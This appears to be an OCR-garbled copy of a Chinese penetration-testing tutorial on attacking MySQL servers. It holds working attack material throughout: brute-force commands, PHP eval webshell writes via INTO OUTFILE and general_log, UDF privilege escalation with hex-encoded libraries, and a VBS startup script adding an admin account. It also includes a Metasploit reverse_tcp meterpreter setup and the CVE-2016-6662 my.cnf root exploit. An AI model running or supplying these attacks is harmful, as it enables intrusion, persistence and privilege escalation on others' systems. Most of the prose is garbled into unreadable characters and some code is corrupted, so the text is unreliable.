A E NN MySol FOFIFE S 1N B B4

MySQL BHR L EMTHIXARBEETEEEREARS, & WEB NHEHE

MySQL E 1789 RDBMS [ BEH 2 —,

MySQL 2R E&EMITHXABEEIEEEIEARSE, £ WEB NAKHE MySQL 2&RIFH
RDBMS(Relational Database Management System: xZRMIEFESIERS) N Z —,
PR ZERB NN REER Mysal (EREBIEEXE, HBRZZMELL Mysal 1E9EK
EEBIEALZ, A LAMP, f1 WAMP 2, R8N MUESEFR, RZEZIR Mysql FUERE
Hx, &8 Mysal ST, FJA Mysql 3E getshell, Mysql 181%, &%, &K, ZERX
Mysql 722N RS IO ERF BT TIFANE4%, B8 MySQL 3REX
webshell, MySQL XA KL MySQL 89 Oday JmiE%E.

MySQL BXERUIRE

NEBMBETLEIL, ERNEHZEEN—F., EiT2h, HNFRBBELE, Bin
FHEZEFE MySQL. MySQL izfTERIARIG A ZIEEMIR . MySQL BIAMRA(EE.
MySQL P 1ERS.

Mysal BiAlR 2 3306 I, BIAEBE IR, X EIAL 13 25 Bt



TN, FATRI AR nmap Fis D331 T B MySQL 891w #1733,

WMREZIRE T Bix MySQL B9ZRD, AT DUERZA P 2289k EUEE 1P #ilkAY
HMEBE ML mysgl BIEERXEE:

nmap -sV -sC 192.168.1.13
nmap -sV -sC 192.168.1.13 -p 3306

Nmap AR E T 2 mysgl XA, 81T, ZOWEE, hash, TEEHMm. W=, EX

Y axPavani

/Tl:l JOAN = -L/j %

/usr/share/nmap/scripts/mysql-audit.nse
/usr/share/nmap/scripts/mysql-brute.nse
/usr/share/nmap/scripts/mysql-databases.nse
/usr/share/nmap/scripts/mysql-dump-hashes.nse
/usr/share/nmap/scripts/mysql-empty-password.nse
/usr/share/nmap/scripts/mysql-enum.nse
/usr/share/nmap/scripts/mysql-info.nse
/usr/share/nmap/scripts/mysql-query.nse
/usr/share/nmap/scripts/mysql-users.nse
/usr/share/nmap/scripts/mysql-variables.nse

/usr/share/nmap/scripts/mysql-vuln-cve2012-2122 nse
BEREERARNE, RIEFER
Metasploit tB8 /LA A FULE MySQL 15 BRVRER

FREIMYSQLIEX(E 8!
auxiliary/admin/mysql/mysql_enum
auxiliary/scanner/mysql/mysql_version

XHRENER I SEERE:
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_writable_dirs

I, BATERIDUER sqimap BEN RIFERE B SUEERNES . sqimep EMELEA
RE, SRELBEMENNETEELEE. RAFER,

Bid MySql SREXARSZ 231X PR

FXKEX MySql EiEE25

iz BinfkSSE7T2 3389 I, FHEAVFRAIHITEIZSEIAE, Tl Tr] DURBURE
MySQL P ZRBRIE A, FREX MySQL AR,

BN T, FREX MySql EEFRERSRY B AEE DU LM

N, M AAUWE T



VIO b X MERPX

SHA BT ERRESENEBAnEN L1a178 MySal BRSSHT, Tl 1] A B iR gt 17
@EEZ BXMAHE—MREATHMINN, BRI/ LRTFAE, BRIFEERBESO

. BB — NERODE, (B 7 RSERMINIOHTR, (L THE2ATHRD8, T
THTML Hi%*/\kﬁﬁﬂﬂ%b BlaneEz . ARFalksS / B, FS. £H. 415
e/ £H. RIVEFEER LEEREMTTNMENFEH, FMZFRITIER.

NFEAREEHT MySQL D<@, I ABBAT LM A:

(—) 8T metasploit 1B XIRRFITIRN

Metasploit B9 auxiliary/scanner/mysqgl/mysql_login #2IRB] A2 E R mysal, 71 e] B IEK
mysql 0%

use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.1.13
set pass_file /tmp/wordlists.txt #isEFTH

set username root
run

(Z) (£ nmap E AR

(1) WE~—DIP ZE IP #UEE#H1T mysal root BRIAZIE S DI IR -

nmap --script=mysql-brute.nse 192.168.1.13
nmap --script=mysql-brute.nse 192.168.1.13 -p 3306
nmap --script=mysql-brute.nse 192.168.1.1-255

HElIIMNBETEVIKESR D=/



nmap -p 3306 --script=mysql-brute.nse userdb=/tmp/passdb.txt passdb=/tmp/pass.txt 192.168.
13

o A

(2) #& mysql root =02

nmap --script=mysql-empty-password.nse 192.168.195.130

MySQL M7 1EEK

MySQL B B2 815 HERIFAE mysql FER user KA

mysql> select host, user, password from mysql.user;

e +o---—- e ettt +
| host | user | password |
e e et e e e P e e P +
| Llocalhost | root | #36BCFCH***kkkkikikikkkk++%(C617716EE3DCO3 |
| ubuntu | root | *BOBCFCH**kkkikkkikkkkix +4:¥C617716EE3DC63 |
| 127.0.0.1 | root | *36BCFCH**xkkkkkkkkkkkiAx¥(C617716EE3DCO3 |
[ ::1 | root | *BOBCFCH**kkkikkkkkkkkix ++¥C617716EE3DCO3 |
$---mmm - +----—- e e L L L PP e P P e +

4 rows in set (0.00 sec)

mysql>

BERBIRIEINEHRENE] cmd5.com {E4Ta %I NG _E 74K eI,
MR R AR AT T S B R =D

MIANFCE XA Z 2B HUEERNERRE, WEUEER- R BESEEER. Z3)
SRIGEN T BARWIEROE I XA, BHREE— MWIARECE S RIRE= B LASMIIKER,




BT MySql @RS 28E WebShell
BEARMUTL &S

o F7f sal JENRE

o HRIEEERFPEASE AR

o MEEMIL Web ¥R

e secure_file priv I IEHIES H

Bz, BMEZRIEUEERF/A 7 file BUR, BABEMRITKAESLEEE CBENE R,
REARAEY MYSQL 7300 T — D04 1% secure_file_priv, 12X mysql S S T BR
#, LB REENZ secure_file_priv —2, SMSHIRIEARAID:

mysql> show variables like '%secure_file_privo';
o 4o - +
| Variable_name | Value

| secure_file_priv | NULL
D D DL Lt +-—----- +
1 row in set (0.00 sec)

mysql>

S B TFBRH! select...into outfile.... load_file() SR FIEIEENMEEHE &,
e secure_file_priv BN NULL B, FRIEH] mysgl RaFSASSH,

e secure_file_priv BERNN /tmp B, FRRIES] mysgl REETE / tmp BEHRHITENE
£, BB E 8T,

e secure_file_priv JEBEEMENZTH, {RaF mysq EEAIEZSATHSE T,

EJ9 secure_file_priv ZEERIESEL, FTLANEEEA set global an L BB, BAINIE
mysgl BIECEXH (my.cnf 8] my.ini) PHTIZE:

FF my.cnf 2 my.ini, JOALAT™ES/EER mysal BIFT:

[mysqld]

secure_file_priv="



BE secure_file_priv 18 E81E :

mysql= show variables like '%secure file priv%';

1 row in set (0.00 sec)

mysql=

MBI A BRH SRS NIE T, XWEFNFIE MySal @RS 2RE WebShell
HOEAL,

KA Union select 5 A WebShell

XEEENH—FMBE N AT, union select fizd select into outfile, ¥ WebShell 5 A\ RSS
28, EAT sl FARSEEFEANEL T,

JE

index.php/?id=1 union select 1,"<?php @eval($_POST[whoami]);?>",3 into outfile '/var/www/html/shell.ph
P

mysql BIDABEAT 7 2t ), B TR el AN —aiE TN RE, REWREE 189

index.php/?id=1 union select 1,0x3c3f70687020406576616c28245f504f53545b77686f6160695d293b3f3e,
3 into outfile "/var/www/html/shell.php"——+

users where id=1 union select 1,"<?php @eval (§_ P05




WTE, RINE AN webshell:

root@buntu:~# 1s -al /var/www/html

total 12

drwxrwxrwx 2 root root 4096 Jan 23 13:46
drwxr-xr-x 3 root root 4096 Oct 22 12:14
-rw-rw-rw- 1|{mysgl mysqgl 76 Jan 23 13:46 shell.php

root@buntu:~# more /var/www/html/shell.php
1 Tom 123456
2 Mark 657260

Bill 329562

<?php @eval($ POST[whoamil]);?=
root@Ubuntu:~#

FBDBFE N WebShell
s

Y sql SEAEANETHEFIREN TN, Union select EAAREREFERTH,
1P LB o fe s 5 N\ WebShell,

?1d=1 into outfile '/var/www/html/shellphp' 1ines terminated by 0x3c3f70687020406576616c28245f50
4153545b776861616d695d293b313e--+
HIRTHEE XA X HRTEIT 2 BEEN D RFRE SEFR/.

ERFRYIIS, — AP

?id=1 into outfile 'WEEZ' lines terminated by (—G1EhexZhd)#
?1id=1 into outfile "JI251% fields terminated by (—alifhexdmid)i#
?id=1 into outfile "I2#4%' columns terminated by (—@iFhex4i3)#
?id=1 into outfile "W3IEF&7% lines starting by (—@G1Ehexdpig)#




WNEl, RINE N webshell:

root@buntu:~# 1s -al /var/www/html

total 12

drwxrwxrwx 2 root root 4096 Jan 23 14:06
drwxr-xr-»x 3 root root 4096 O0ct 22 12:14
-mw-rw-rw- 1 mysgl mysgl 42 Jan 23 14:06 shell.php

root@Ubuntu:~# more /var/www/html/shell.php
1 Tom 123456<?php @eval($ POST[whoami]);?=
root@Ubuntu:~#

%Uﬂ% |Og E/u\%)\ WebShell

Mysql E18) HGRRFFMEIREWEXOAT, 17 UBIIEE mysal H ST
FEBREN LS AN webshell, (BEBEXNEMHTERZAI SR, XM H ﬁéi”t
WEXHAIREH, BEA MySQL WP ARZ, MRS TR NEWRIEEICH TR
E, WRSHNFFITHBE—HFS AMNNSEE, SWHEE N E &R

mysql> show variables like '%general%';
e e e e et et T e +
| Variable_name | Value

| general_log | OFF \
| general_log_file | /www/server/data/Ubuntu.log |

2 rows in set (0.00 sec)

mysql>

e general_log 8 HERERE, —HEMME (ON/OFF) ON 5= /= OFF &
*H.

e general_log_file 52 H G HIRTFER



= general_log=ON B, PT#ATHY sql BEIE=HIE / www/server/data/Ubuntu.log X1
AR, A4, WRIE general_log_file BIEEMELUN /var/www/html/shell.php, BBARTH
1789 sql BB SRFE shell.php A, WRBNITEW—D—8E, #ATIA getshell,

MABUT:

show variables like '%general%'; # EEEWHSEREE

set global general_log = ON; # Fr/ageneral logiE=l 34 EEIIAMYSQL ServerfISQLIEGIIEH
D

set global general_log_file = '/var/www/html/shell.php'; # IR E QTS L
select '<?php eval($_POSTIwhoami]);?>';  # &18—611& MK H 5 Hshell phpdiE 5 A webshell

set global general_log=0OFF; # < Hgeneral logh& =t

mysql= set global general log = ON;
Query 0K, 0 rows affected (0.00 sec)

mysgl= set global general log file = '/var/www/html/shell.php"’;

Query OK, 8@ rows affected (0.01 sec)

mysgl= select '<?php eval($ POST[whoami]);?=";

1 row in set (0.00 sec)

mysqgl=

WRE, BINTE Web BRE AN webshell:

root@lbuntu:~# 1s -al /var/www/ html

total 12

drwxrwxrwx 2 root root 4896 Jan 23 13:41

drwxr-xr-x 3 root root 4096 Oct 22 12:14

- MW= Iry-=-~- 1|mysgl mysgl| 243 Jan 23 13:41 shell.php

root@Ubuntu:~# more /var/www/html/shell.php

Swww/server/mysql/bin/mysqld, Version: 5.6.49-log WSource distribution). started with:

Tep port: 3306 Unix socket: /tmp/mysql.sock



2108123 13:41:53 3 Query select '<7php eval($_POST[whoami]);?="

root@lbuntu : ~#

SOER o LB ERAMINE BITARSS A0 web B3R NE AT webshell, B2
BFAREE, HPHANEZBIOMESSRIEUEER- BB S AR secure_file_priv 1%
SRS AS L. B2, & Linux AFRLRD T2 /18, MySQL P —RRIE5%N M2
TEEREE web AREFRBEAXMH, BMEMIN, SANSHINRRBE MySQL B (EEH

BI0L) , Apache BE2FiATA0IRY, FTEA, DA EAEBE®EEE Windows RGTER, X TR
Z=ZIL—T,

Eid MySQL #1TIXBRIEF

PMBEY MySQL #HATRRIETI B MySQL MITA T < . BRI T&I 7 E M

IEFE SQLOEN, MEHEZINRI T E N ENNEUEENKSER, IERniE kLt
TzEERE . MAERNEFRZESEERRT AR SS, 1ZWPEHIE? TERIIHMAER

JUAIEE MySQL AT R A S HITRIEF A E, XEFEIRNE, ITRAHLH

PREUR T HUEZE B s A P ROUR

MySQL UDF IIHAT AT <

UDF 2 MySQL f—"NEE3E0, UDF (Userdefined function) BIEIZENAF B ENXKEL,
XPNERFARE Mysql B9 ARTFER,

AT MySQL BAEBEIE, MySQL BRZNERIBIRMAFERE, BIEFRHBRM. E
RER. HERMBSBRENE, LH AR ARTERET R TRZHE, MySQL MAB RN RAFE
=, BEEREHEHAEANEE, H MWYSQL BN E R EH EEBNMRE, FMEEXY
MySQL #H1T—LE R, =EiE, MySQL LAEAERME T RMFT KBS, XFMERE
BRI MySQL BRERLFR A UDF(User Define Function),

HEANE THIREEEAE NSRRI E, AR A= FER UDF AN AL, MEBURE
root NIRIRFAZIRANEIEANE,

AR

UDF e B HEEEAESHEEENH (dI 3. so) , £/ UDF =ZANRIE AR EEE S|
HRH widl , SINBEXRE (U0 sys_eval() RED) , HATRGWZ,

FIBZ



o 2B MySQL HUEERIMK,, MIEBEX mysgl B9 insert §1 delete £XBR, LABIZEFM
RN,

o HFIAFHEB LU udf.dl 5NEN B FA9IR,

e IR MySQL kRA/NT 5.1 B Windows 245, NI udf.dll SEFAE C:\windows
gy& C:\windows\system32 Bx T,

AN MySQL hRAS AT 5.1, udf.dll TN ETE MySQL L2 HE FH lib/plugin XX
HET, Z plugin BZEIANNFEZEQE,

BIRFLAY UDF SR udfdll, HU7E MySQL 23 B lib/plugin BT
(MySQL>5.1) :

£ udfdll ST, FREN T —1RN sys_eval() B9 MySQL BRI, ZEREFI T AR ER
s, BRUERIEMIT A MySQL 455497, {#F select sys_ eval(vvhoam) iE, AR
=IR[E] sys_eval() BREUKE X . ERFANUNZIE udf.dl 2T lib/plugin B T, H=AE
SIN. EUTFEENREENSIAS—F, WREZESINE, BAXTEENEMRERANT
B, PIBA, FRAIRAZIE udf.dll RFROBEX RIS ANHE, SIANA AN T

create function sys_eval returns string soname 'udf.di’;
o sys_ eval: FIZESINBKEE.,
o udfdil: FAIZEMARSINRENAY B Z A
RINsI NZRE S, PIAEE—T mysq REEEHTIE 7 sys_eval:

mysql> select * from mysql.func;

4omm - oo ommmm - ommmm e +
Iname | ret [dl | type \
+ ——+ + ——+ +

| sys_eval | O/ udf.dll |function |
R R R R +
1 row in set (0.00 sec)



mysqL>
BB ME BT LUEHATEM MySQL W& R — X (ERIZRE T .
UDF Fahig i

LR EI B HEIREN T Bin MySQL #UIEZERINRH % E UDF f#AXNMEAEE, FIrI
&WMT%W HITHEAN,

(—) &%& secure_file_priv 8918

IR T, secure_file priv 2 FFEH into dumpfile. into outfile. load_file() BRIZXBETE IR
TMEE TSRS EZECCERN, PRMIZEAT 21T UDF N aB&HF:

mysql> show variables like '%secure_file_privo';
T e LT e et +

| Variable_name | Value |

| secure_file_priv | |
e N +
1 row in set (0.02 sec)

mysql>

(Z) EBEARGZEM K plugin A HEZ
UDF /Y dil siiS s E X B EREIZEFR

mysql> show variables like '%compile%'; #t BEFNRALRERA
e ommmm oo +
| Variable_name | Value |

| version_compile_machine |x86_64 |

| version_compile_os | Linux |

2 rows in set (0.00 sec)

mysql> show variables like '%plugin%';  # &E&pluginB 5%

| Variable_name | Value |
oo Fmm +

| plugin_dir | /www/server/mysql/1lib/plugin/ |

1 row in set (0.01 sec)

mysql>

RIFIBFREA plugin EHE xR / www/server/mysal/lib/plugin/,



WEZBFAFE, BT webshell # A3 E] MySQL ML B RAGEF T2
lib/plugin X132

(=) BEANMERERDSHEIREXFES N plugin i H %

FAIRNZEMRH RSB E A AIE? Sgimap #ll Metasploit TEEEEHET 1IN ARG
IS E e L

NERZE &K UDF shisss iz X HRIF I ALE -

e Sqglmap: {iF sgmap/data/udf/mysql B, B35 64 Ul 32 i Linux
Windows R4t NI Ao e 2 EE SO

e Metasploit: fiF / usr/share/metasploit—framework/data/exploits/mysgl Bx T,
B1& 64 LA 32 i Linux f1 Windows Z 4% N Al BAEh S 852 S

lib_mysqludf_sys_32.d11

lib mysﬁludf_sys_ﬁﬂ.dll

L1

BHONEEFE, sglmap 7 BHIXLLENSEEERN T R RINRRE LIS RGN IE, TEE
BiRFH, FRZAIEESRE sqgmap BEF IS T A cloakpy (extra/cloak BxT) 2
1B, BN sAN:

python3 cloakpy —d —i <shiSEHEES >



R BN N R FARAMAENY UDF X fE, BIBEER UDF XS A plugin i@+ E
x, REZBHNER AR dl Bt H#HBIAEBEE AN, XEM Linux, 64 i MySQL
NN

BYAERHEARM, ¥ lib_mysaludf sys 64.s0 3% lib_mysaludf sys 32.s0 FRIRZ#H{T+
VAN R

select hex(load_file('lib_mysgludf_sys_64.s0")) into outfile "udf_64.hex";

lib_mysqludf sys 64.s50')) into outfile “/tmp/udf_64.hex";

FRLT hex HLUEFATRI A udf_32.hex XHMINBERILR CEZRIEMLE 0x) , &
[ERATI0 R as 2 B NB R lib/plugin EFEFR T

select Ox7F454C5602010100000000000000000003003E0001000000DOOCOO00000000004000000000000000E
8180000000000000000000040003800050040001A0019000100000005000000000000000000O0O0OOOO0O00000
000000000000000000000141500000000000014150000000000000000200000000000010000000600000018
...... 010000000000000000000000000000000000000088170000000000009BAVVVVVVVVVVVVVVVVVVVVVVVO0
0000010000000000000000000000000000000100000003000000000000000000VVVVVVVVVVVVVVVVVVV02318
000000000000(C500000000000000000000000000000001000000000000000000000000000000 into dumpfile
" /www/server/mysgl/lib/plugin/udf.so";

BEATHEIK, BNFEEEEREA., BIRIR—TXR, RERt\#H8iEr &S
ANERF, REFEHIENITFERSEE udf.so, BIFWT:

create table temp(data longblob);

insert into temp(data) values (0x7F454C5602010100000000000000000003003E0001000000D0O0CO0000000
00004000000000000000E8180000000000000000000040003800050040001A0019000100000005000000000000
000000000000000000000000000000000000000000141500000000000014150000000000000000200000000000
0100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000
000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010
000000000009001000000000000080000000000000050E5746404000000641200000000000064120000000000
0064120000000000009C000000000000009C0OO000000000000040000000000000051E57464060000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000080000000000000
0250000002B0O000001500000005000000280000001E000000000000000000000006000000000000000COO0000
00000000070000002A00000009000000210000000000000000000000270000000B000000220) ;

update temp set data = concat(data,0x0000018000000240000000E00000000000000040000001DO0000016
0000000000000013000000000000000000000012000000230000001000000025000000TA0000000FO000000000
00000000000000000000000OO000TBOOOOOOOOOOOO0O03000000000000OO0O000O00O000O000000O000000000



000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000
000000000000000000DO000002600000017000000000000000800000000000000000000000000000000000000
000000001FOO0000T1CO00000000000000000000000000000000000000000000002000000000000001100000014
0000000200000007000000800803499119CHCY3DA4400398046883140000001600000017000000190000001BO0
00001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A000
00000000000CE2CCOBAG73C7690EBDIEFOE78722788B98DF10ED871581CCIE2F/DEASGEBE12BBE3927C7E8B9
2CD1E7066A9C3FIBFBA745BB073371974EC5345D5ECCHAG2CTICC3138AFF36ACE8AE3BIFD4AD)

update temp set data = concat(data,0xAC73D1C525681B320B5911FEABSFBET1200000000000000000000000
00000000000000000000000000000000003000900A00BOOOOOOOOO00000000000000000000100000020000000
00000000000000000000000000000000250000002000000000000000000000000000000000000000EOOCO0001
20000000000000000000000DEOTO00000000000790100001200000000000000000000007700000000000000BA

0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000
000009E010000120000000000000000000000D9OOOO000O00000OFBOO0000T200000000000000000000000500
00000000000016000000220000000000000000000000FEO0000000000000CFO00000120000000000000000000
000ADO0000000000000880100001200000000000000000000008000000000000000AB0O1000012000000000000
0000000000250100000000000010010000120000000000000000000000DCOOO00000000000C700000012000000
0000000000000000C200000000000000B5000000120000000000000000000000CC0O2000000000000EDOOOOOO
120000000000000000000000E802000000000000E70000001200000000000000000000009B) 4

...... # AETB T updatelE BECGeconcatiGFHURHHERHRE, ST/ VARBIEE MBIt \datarE&/a, PUTU Fa<is
ZFRSH:

select data from temp into dumpfile "/www/server/mysqgl/lib/plugin/udf.so";

B —NISWNEEAEZAA load_file() REL, ZRESFHaiZma, 1= UK UDF X4
PAE vps £, HATA Map it BinlinigEna X i+ T EEEE B R E

select load_file("\\\\47.xxx.xxx.72\udf.50") into dumpfile "/www/server/mysql/lio/plugin/udf.so"
() sIN UDF REGHERBREHNITRZ DS
SINKIEEW T
create function sys_eval returns string soname 'udf.s0';
e sys eval: FES|I NI,
o udfdl: FAIEMASINRERAVBEIZ X,
RINSI N ZRE T, A WER UEIATEM MySQL NE RE— XA T

select sys_eval('whoami');

NEPAR, e ATAID:



mysql>  create function sys eval returns string soname 'udf.so’;

Query 0K, © rows affected (0.00 sec)

mysql=|select sys eval('whoami'};

1 row in set (0.81 sec)

mysql=

(5) BEREMD

MR B E SRR

s
B

drop function sys_eval;

OERC K REIB A, linux REAPEREER™ T, WRE Windows RZGRITE—RRH
EEEANRT

mysql> select sys_eval( 'whoami');

1 row in set (0.11 sec)

mysql> _




UDF 24Y4E Metasploit ~RIFI A

MRIRTEE LB F I EMMAIIE, el LAFIA metasploit H7HY
exploit/multi/mysqgl/mysqgl_udf_payload #IRLINE=HY UDF RECEN, RERT
Windows F# %t

fEART:

use exploit/multi/mysql/mysql_udf_payload
set rhosts 192.168.1.13

set username root

set password root

run




MSF 23— BEN @28 UDF SXEB A lib/plugin BxE T (MR ZBFAEZERNE, Ik
EHATRTN) , 1% UDF XHARBIE sys_exec() # sys_eval() XP 1 EREY, 1BE22AREIE2
sys_exec() B, ZREBBNTHASEBEE, BATTUFENSIN sys_eval() B, FHITH
B SEE

create function sys_eval returns string soname 'guuHCUIK.dII';

mysql»|create function sys_eval returns string soname 'gquuHCUiK.dll®
Query UK, U rows affected (U.UU s

mysqgl> select = from mysqgl.func:

| guuHCUiK.dll | function

I guuHCUiK.d11l | functigf |
el o +

rows in set I__E‘J.EJEI sec)

mysql> select sys_eval( "whoami’);

| sys_eval( whoami’)

MySQL /Esh et
FpFA

FT18 MySQL MEIIIRMN, MENBEXMNHASAZIFNERERT, NREERER
TSR, LM BEhERZEA, HRATEFRNAPRINERENGS ., XMENBEL
F Windows MR T, EARIBIASIT vbs Ml exe 4, BRI vbs $4T7—L CMD s
%, HRIDMER exe 4 metasploit 3§, cobalt strike,

VBS BIAMIES E AR M ERRRS

Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user whoami Liu78963 /add", O

WshShell.Run "net localgroup administrators whoami /add", 0O



SANNFRE EXPHIB LM E—F, BIFcEARMNS vbs BIZAA mysal 89 hex() REHHE
THNEFIREE, AEFIA into outfile... 8 into dumpfile B\ :

0x536574205773685368656CE6C3D575363726970742E4372656174654F626A06563742822575363726970
742E5368656C6C22290D0A5773685368656C6C2EL2756E20226E657420757365722077686F616D69204C6975
3738393633202F616464222C20300D0A5773685368656C6C2EL2756E20226E6574206C6F63616C67726F75702
061646D696EBI73747261746F72732077686F616D69202F616464222C2030
icrosoft\\Windows\\Start Menu\\Programs\\Startup\\evil.vbs';

'C:\\ProgramData\\M

¥ S0EE b Progcprarnliota k Microsoft = Windows & s =m » | » B

TRI(T) "EEhH)

- T

§ evilvbs
i ChphpStudysmysahbinymysgl.exe - —

All rights reseruved

siatement

RS, MREBRER 7RSS, BAMSEshERZAAR, FHRTESRNGS, WHNEAM

T, BINEEAFAF “whoami” ALIN:

xUsers\ndministrator>net localgroup administrators
administrators

AR EERNA R TR

Administrafor
11ukalf ngo1

C:\Users\Administrator>_



B, HAIDAIUE exe EAZFANBEERET, SANARS EXHHOB LM E—
RE, BIACHEARIDIS exe F2/F A mysal B9 hex() REUHIT TN #EIRIE, AEFIA into
outfile... 8 into dumpfile EAFIBINBEREER T, WTRHNIBEA—T msf 5

“shell.exe”,

B EREEAMR shell.exe HATH 7 BHIEER:

select hex(load_file('shell.exe)) into outfile "shell.hex";

mysql= select hex(load file('/tmp/shell.exe')) into outfile "/tmp/shell.hex";

Query OK, 1 row affected (0.00 sec)

mysql>

1515589 hex X shellhex ERINEERI L, FIBLXHE UDF XA EDERENE
WLERER MR (BRT~) .

+HEMRSHRERE, BEUERIBIrENE meterpreter:

Metasploit ~RIFI

IR T BRI R Sy ) B i S i N oy [ el A BN B, . ol IR S

M EE /a8 L - AT VS A



AHZSVIN 00T L= 3= &R Y/ J /AN D bE,  THELAoPIVIL 7 L= 26 1 TR L H IR AN

exploit/windows/mysal/mysql_start_up

ERH:

use
set
set
set
set
set
set

set

run

exploit/windows/mysql/mysql_start_up

payload windows/meterpreter/reverse_tcp

lhost 192.168.1.7

lport 4444

rhosts 192.168.1.13

username root

password root

startup_folder xxx # RIEERASHTIRERREX

H1T7/E, mst BEBMENNBNIMEE N—" exe B msf KG:

 AisELR (C) » ProgramData » Microsoft » Windows » [FHS) 58 » B » B2

TR(T) #HanH)

HE - R

1 uNGwv.exe } i

FEmEINERGE, B=E2BmENR meterpreter:



MySQL Oday &

CVE-2016-6662 (FI{§ mysql FRIEF ARG root XFR)

2016 &, — MBI FARRINZI™ERN Mysql iE, LRIBIRNEE PR ™ EN—
MEE CVE-2016-6662, Bl RibE LT NERE &SI LRSS 580 Mysql BL& X
 my.onf 2, SEEIIHERY BE. 3§ BRERFESRIESHHAIL Getshell,

ERSNEIEA BES S I
e mysgl <=5.7.15
e mysql <= 5.6.33
e mysqgl <= 5.5.52
AR

T Linux 24, —YZ9AE0 Mysgl 2258l 8w mysal safe HIAE N BI2E2:, BEAMEH



service mysgl start . /eto/init.d/mysql start A B 5N MySQL B, mysald_safe FEMAZ N
root A PREENNY, MEER mysgld Hi2ZD 2 AR mysgl BFR B, FH
mysql_safe BIZAETE mysal BRBBEIRITUINE—"T BE, X RER ATE MySQL 89
B my.cnf BT E 9 malloc_lib MECETUAITIRE, ZECEMSE [mysqld] T,

WRFATE my.onf BN malloc_lib BEBEIUEE — M BB CIBNT BERRR, IBATT
mysql BERE, XL LA root BT, SLIMANERIRF .

UENEERlEEE L
o WHEBZIRES 7 BinEAl MySQL AIXER
o BEARENA MySQL IRATERIARISEEN

o IWiHEYRIFRIEANIRRY MySQL FBFP R root AR (BNTTIEMES general_log_file £

BLE)
NE, BIERENZFE,
SEOOTAE
o Hirt/l IP: 192.168.1.10
o LA IP: 192.168.1.7
B, T NE—1 C IR, AREFENIVTERSNT BE, rISREEBEARLA shell:
e http://legalhackers.com/exploits/mysqgl_hookandroot_lib.c

a0 MEBOZ I A




] (*execvp_func_t)(
execvp_func_t old_execvp =

HATU N e LRIFLE R RNY B ZESE mysgl_hookandroot_lib.so:

gcc -Wall —fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -IdI

mysq 1 hookandroot 1ib.so

AEEE _E P B & IR A T A RS mysgl_hookandroot_lib.so EEZIEFRILEY / tmp B
sz NRIAT,

R, BEMEEZEHA MySQL BL& SRS, MySQL RIEC & SRR 7 2ARY
/etc/my.cnf, BERINVECEXFEZ, FHZINAEE:

File Name Purpose

/etc/my.onf Global options

/etc/mysgl/my.cnf Global options

SYSCONFDIR/my.cnf Global options

$MYSQL_HOME/my.cnf Server—specific options (server only)
defaults—extra—file The file specified with——defaults—extra—file, if any
~/.my.cnf User—specific options

~/.mylogin.cnf User—specific login path options (clients only)

AL MySQL MY EIZEY / ete/my.onf, BEEEEL $MYSQL_HOME/my.cnf Bl msygl BB
F TR mfonf, BREAIRIEE—" my.onf IB? BEZE AL, BHRIFE mysq BFET
19, B msygl BREZZAR mysal B2MBER, M mysgl BFIETH mysal HAAEE
WREH, MBS EIMATFIRT .. EthTAERERERNERRERR, MU, R
mysql BB mysql BBEXHFIIATEINER, K Er] B IR E N EINENZ .



R, BANEEBBERTLHES mycenf X, —REIEXH, FAMERTURE] into outfile
1 into dumpfile, BRAEXE, BATAEAXMAIN, EN outfile Ml dumpfile B HFEHIX
HRIRNRA - rw—rw—rw, T MySQL B—PZEHN, BINREE XN R R E MR
5, 2RI M EENM. AT outfle Ml dumpfile B RN E X AR E1ZTEM
i,

BATPI AR £ X HRIHEY log EXHINE. HE log EXHNFEFENXHER=EE
m, EFeTBERE NRILLT banner WEX MySQL Bt & RSN, B2k, WREA
log BEEEXMHRNE, ZBECE XA ILE mysal EEBIETHY,

WHEEBIRENA MySQL BT NRIERIRTE N MySQL Bo &34

mysql> set global general_log = on; # FiREHEINEE

mysql> set global general_log_file = '/etc/my.cnf'; # 12 & SR Amf.onf

I

mysql> select " # Hi17/E, BEHSEF(my.cnf) RS NEER
"> [mysqld]
"> malloc_lib=/tmp/mysgl_hookandroot_lib.so

s

mysql> set global general_log = off; t# X H S IhEE




EEBMI MySQL BB, RIBEEMINEAN T BRI EIN:

my.cnf (fetc) - gedit

o) ~ M
# Remove leading # to turn on a very important data integrity option: logging
# changes to the binary log between backups.
# log_bin
# These are commonly set, remove the # and set as required.
# basedir = Jusr/local/mysql
# datadir = fusrflocal/mysql/data
# port 3306
# server_id =
# socket = .....
#skip-grant-tables

Remove leading # to set options mainly useful for reporting servers|.
The server defaults are faster for transactions and fast SELECTs.
Adjust sizes as needed, experiment to find the optimal values.
join_buffer_size = 128M

sort_buffer_size ZM

read_rnd_buffer_size = 2M

HWOH MWW HEH

sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES

Tcp port: 3386 Unix socket: ftmp/mysgl.sock
Time Id Command Argument

2021-01-25703:40:05.194274Z 7 Query select i
[mysqld] /

malloc_Llibs/tmp/mysql_hookandroot_lib.so

g
2021-01-25T03:40:11.2162537 7 Query set global general_log = off

MYrd o~ BEGWE: 8~

REFFEIR mysql, WiEENZS 3RS T BAnENAY shell:

fusrflocal/mysgql/bin/mysqld, Version: 5.7.10 (Source distribution). started with:

P
r
o
(=]
L]




AR TEEELL general_log BT =, MR IRNEE HBIIASENER MySQL FH P il
2 root MR, WRKHELRERENER MySQL B RE root AR, MIFAIIIEEL

general_log BT E, BALREIIEIMFNBLRELE? AT, REE—1TEA
select. insert. create. file A RAYAENF],

AR AR MySQL & 250975 ERMINE NN BCE S

CREATE DEFINER="root'@localhost’ TRIGGER appendToConf
AFTER INSERT
ON ‘active_table® FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysqgl/my.cnf';
set global general_log = on;
select "
[mysqld]
malloc_lib='/var/lib/mysgl/mysgl_hookandroot_lib.so'
" INTO void;
set global general_log = off;
END;

HERBFHNIEM ST Zss, LB insert SR1LERRIFT:
INSERT INTO ‘active_table’ VALUES('xyz');

At & 2sf9CIE = A mysal root fBEHIT, MM EHEEEN general_log 188, BIMFLLAI
